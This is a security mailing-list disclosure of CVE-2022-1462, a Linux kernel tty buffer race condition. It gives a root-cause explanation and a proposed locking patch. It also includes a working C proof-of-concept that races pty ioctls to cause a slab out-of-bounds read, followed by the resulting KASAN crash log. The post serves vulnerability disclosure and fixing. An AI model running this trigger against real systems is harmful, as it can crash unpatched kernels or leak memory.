oss-sec mailing list archives
CVE-2022-1462: Linux kernel: A race condition vulnerability in drivers/tty/tty_buffers.c
From: 一只狗 <chennbnbnb () gmail com>
Date: Fri, 27 May 2022 22:47:05 +0800
this vulnerability comes from commit( https://github.com/torvalds/linux/commit/b6da31b2c07c46f2dcad1d86caa835227a16d9ff) this commit suggest do tty_flip_buffer_push without port->lock in pty_write but tty_flip_buffer_push() will write critical resources `buf->tail->commit` this can cause race conditions, value of `buf->tail->commit` may becom less ```c void tty_flip_buffer_push(struct tty_port* port) { struct tty_bufhead* buf = &port->buf; smp_store_release(&buf->tail->commit, buf->tail->used); //Here queue_work(system_unbound_wq, &buf->work); } ``` then tty_flip_buffer_push() will call function flush_to_ldisc() in function flush_to_ldisc(), count will become negative when `head->commit` get less this will lead to out-of-bound-read and leak some information in slab ```c static void flush_to_ldisc(struct work_struct* work) { ...; while (1) { struct tty_buffer* head = buf->head; ...; next = smp_load_acquire(&head->next); count = smp_load_acquire(&head->commit) - head->read; //Here ...; count = receive_buf(port, head, count); head->read += count; ...; } ...; } ``` my patch suggestion is that: use mutex lock to protect `smp_store_release(&buf->tail->commit, buf->tail->used);` this won't cause deadlock, it's safe ```diff --- ./tty_buffer.c.raw 2022-04-24 23:21:55.456510592 +0800 +++ ./tty_buffer.c 2022-04-24 23:33:47.569986594 +0800 @@ -569,12 +569,15 @@ void tty_flip_buffer_push(struct tty_port *port) { struct tty_bufhead *buf = &port->buf; + unsigned long flags; //patch /* * Paired w/ acquire in flush_to_ldisc(); ensures flush_to_ldisc() sees * buffer data. */ + spin_lock_irqsave(&port->lock, flags); //patch, Guaranteed atomicity of writing to commit varias smp_store_release(&buf->tail->commit, buf->tail->used); + spin_unlock_irqrestore(&port->lock, flags); //patch queue_work(system_unbound_wq, &buf->work); } EXPORT_SYMBOL(tty_flip_buffer_push); ``` here is my POC, it will quickly trigger it on 4 SMP CPU ``` #define _GNU_SOURCE #include <assert.h> #include <fcntl.h> #include <linux/futex.h> /* Definition of FUTEX_* constants */ #include <pthread.h> #include <pty.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/syscall.h> /* Definition of SYS_* constants */ #include <unistd.h> void* worker1(void* arg) { //printf("worker1\n"); int fd_pts = (int)arg; for (int i = 0; i < 4096; i++) { char C = 8; assert(ioctl(fd_pts, TIOCSTI, &C) == 0); } //printf("worker1 Done\n"); } void* worker2(void* arg) { //printf("worker2\n"); int fd_pts = (int)arg; for (int i = 0; i < 4096; i++) { assert(ioctl(fd_pts, TCXONC, TCIOFF) == 0); } //printf("worker2 Done\n"); } void execute_one(void) { int fd_ptmx = open("/dev/ptmx", 0, 0); int arg = 0; ioctl(fd_ptmx, TIOCSPTLCK, &arg); int fd_pts = ioctl(fd_ptmx, TIOCGPTPEER, 0); ioctl(fd_pts, TIOCSCTTY, 0); //perror("tiocsctty"); pthread_t th1, th2; pthread_create(&th1, NULL, worker1, fd_pts); pthread_create(&th2, NULL, worker2, fd_pts); pthread_join(th1, NULL); pthread_join(th2, NULL); } void child(void) { while (1) { if(fork()==0){ int res = setsid(); execute_one(); exit(0); } wait(NULL); } } int main(void) { int NPROC = sysconf(_SC_NPROCESSORS_CONF); printf("NPROC: %d\n", NPROC); for (int i = 0; i < NPROC; i++) { if (fork() == 0) { child(); exit(0); } } sleep(10 * 60); } ``` here is my crash example ``` [ 2555.669413] ================================================================== [ 2555.670039] BUG: KASAN: slab-out-of-bounds in n_tty_receive_buf_common+0x1262/0x4380 [ 2555.670039] Read of size 4086 at addr ffff88811b42102a by task kworker/u16:5/171 [ 2555.670039] [ 2555.670039] CPU: 2 PID: 171 Comm: kworker/u16:5 Not tainted 5.18.0-rc1 #5 [ 2555.670039] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubunt4 [ 2555.670039] Workqueue: events_unbound flush_to_ldisc [ 2555.670039] Call Trace: [ 2555.670039] <TASK> [ 2555.670039] dump_stack_lvl+0x4d/0x66 [ 2555.670039] print_report.cold+0xb2/0x6b7 [ 2555.670039] ? n_tty_receive_buf_common+0x1262/0x4380 [ 2555.670039] kasan_report+0xa9/0x120 [ 2555.670039] ? n_tty_receive_buf_common+0x1262/0x4380 [ 2555.670039] kasan_check_range+0x14d/0x1d0 [ 2555.670039] memcpy+0x20/0x60 [ 2555.670039] n_tty_receive_buf_common+0x1262/0x4380 [ 2555.670039] ? select_task_rq_fair+0x3cf/0x2f80 [ 2555.670039] ? ldsem_down_read_trylock+0xd6/0x140 [ 2555.670039] ? __init_ldsem+0x170/0x170 [ 2555.670039] ? osq_unlock+0x1d0/0x1d0 [ 2555.670039] tty_ldisc_receive_buf+0xa6/0x190 [ 2555.670039] ? n_tty_receive_buf_common+0x4380/0x4380 [ 2555.670039] tty_port_default_receive_buf+0x6e/0xa0 [ 2555.670039] flush_to_ldisc+0x1eb/0x3e0 [ 2555.670039] process_one_work+0x866/0x11d0 [ 2555.670039] worker_thread+0x549/0x1130 [ 2555.670039] ? process_one_work+0x11d0/0x11d0 [ 2555.670039] kthread+0x288/0x330 [ 2555.670039] ? kthread_complete_and_exit+0x40/0x40 [ 2555.670039] ret_from_fork+0x22/0x30 [ 2555.670039] </TASK> [ 2555.670039] [ 2555.682188] Allocated by task 30210: [ 2555.682188] kasan_save_stack+0x1e/0x40 [ 2555.682188] __kasan_kmalloc+0x81/0xa0 [ 2555.682188] __tty_buffer_request_room+0x1a6/0x560 [ 2555.682188] tty_insert_flip_string_fixed_flag+0x8c/0x1c0 [ 2555.682188] pty_write+0x10d/0x1d0 [ 2555.682188] tty_put_char+0x129/0x150 [ 2555.682188] __process_echoes+0x489/0x8c0 [ 2555.682188] n_tty_receive_buf_common+0xbd6/0x4380 [ 2555.682188] tty_ioctl+0x468/0x12c0 [ 2555.682188] __x64_sys_ioctl+0x170/0x1d0 [ 2555.682188] do_syscall_64+0x3b/0x90 [ 2555.682188] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 2555.682188] [ 2555.682188] Last potentially related work creation: [ 2555.682188] kasan_save_stack+0x1e/0x40 [ 2555.682188] __kasan_record_aux_stack+0x97/0xa0 [ 2555.682188] insert_work+0x46/0x330 [ 2555.687718] __queue_work+0x3db/0xcb0 [ 2555.687718] queue_work_on+0x64/0x70 [ 2555.687718] release_tty+0x488/0x5c0 [ 2555.687718] tty_release_struct+0x35/0x50 [ 2555.687718] tty_release+0xa8d/0xd60 [ 2555.687718] __fput+0x21e/0x940 [ 2555.687718] task_work_run+0xe1/0x180 [ 2555.689250] exit_to_user_mode_prepare+0x11c/0x120 [ 2555.689250] syscall_exit_to_user_mode+0x1d/0x40 [ 2555.689250] do_syscall_64+0x48/0x90 [ 2555.690018] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 2555.690018] [ 2555.690018] Second to last potentially related work creation: [ 2555.690018] kasan_save_stack+0x1e/0x40 [ 2555.690018] __kasan_record_aux_stack+0x97/0xa0 [ 2555.690018] insert_work+0x46/0x330 [ 2555.690018] __queue_work+0x3db/0xcb0 [ 2555.690018] queue_work_on+0x64/0x70 [ 2555.690018] release_tty+0x49a/0x5c0 [ 2555.690018] tty_release_struct+0x35/0x50 [ 2555.690018] tty_release+0xa8d/0xd60 [ 2555.690018] __fput+0x21e/0x940 [ 2555.690018] task_work_run+0xe1/0x180 [ 2555.690018] exit_to_user_mode_prepare+0x11c/0x120 [ 2555.690018] syscall_exit_to_user_mode+0x1d/0x40 [ 2555.690018] do_syscall_64+0x48/0x90 [ 2555.690018] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 2555.690018] [ 2555.690018] The buggy address belongs to the object at ffff88811b421000 [ 2555.690018] which belongs to the cache kmalloc-1k of size 1024 [ 2555.690018] The buggy address is located 42 bytes inside of [ 2555.690018] 1024-byte region [ffff88811b421000, ffff88811b421400) [ 2555.690018] [ 2555.690018] The buggy address belongs to the physical page: [ 2555.690018] page:00000000d4e43be5 refcount:1 mapcount:0 mapping:0000000000000000 inde0 [ 2555.690018] head:00000000d4e43be5 order:3 compound_mapcount:0 compound_pincount:0 [ 2555.690018] flags: 0x200000000010200(slab|head|node=0|zone=2) [ 2555.690018] raw: 0200000000010200 dead000000000100 dead000000000122 ffff888100042dc0 [ 2555.690018] raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 [ 2555.690018] page dumped because: kasan: bad access detected [ 2555.690018] [ 2555.690018] Memory state around the buggy address: [ 2555.690018] ffff88811b421100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 2555.690018] ffff88811b421180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 2555.690018] >ffff88811b421200: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc [ 2555.690018] ^ [ 2555.690018] ffff88811b421280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 2555.690018] ffff88811b421300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 2555.690018] ================================================================== [ 2555.704110] Disabling lock debugging due to kernel taint ``` English is not my native language, please forgive me
Current thread:
- CVE-2022-1462: Linux kernel: A race condition vulnerability in drivers/tty/tty_buffers.c 一只狗 (May 27)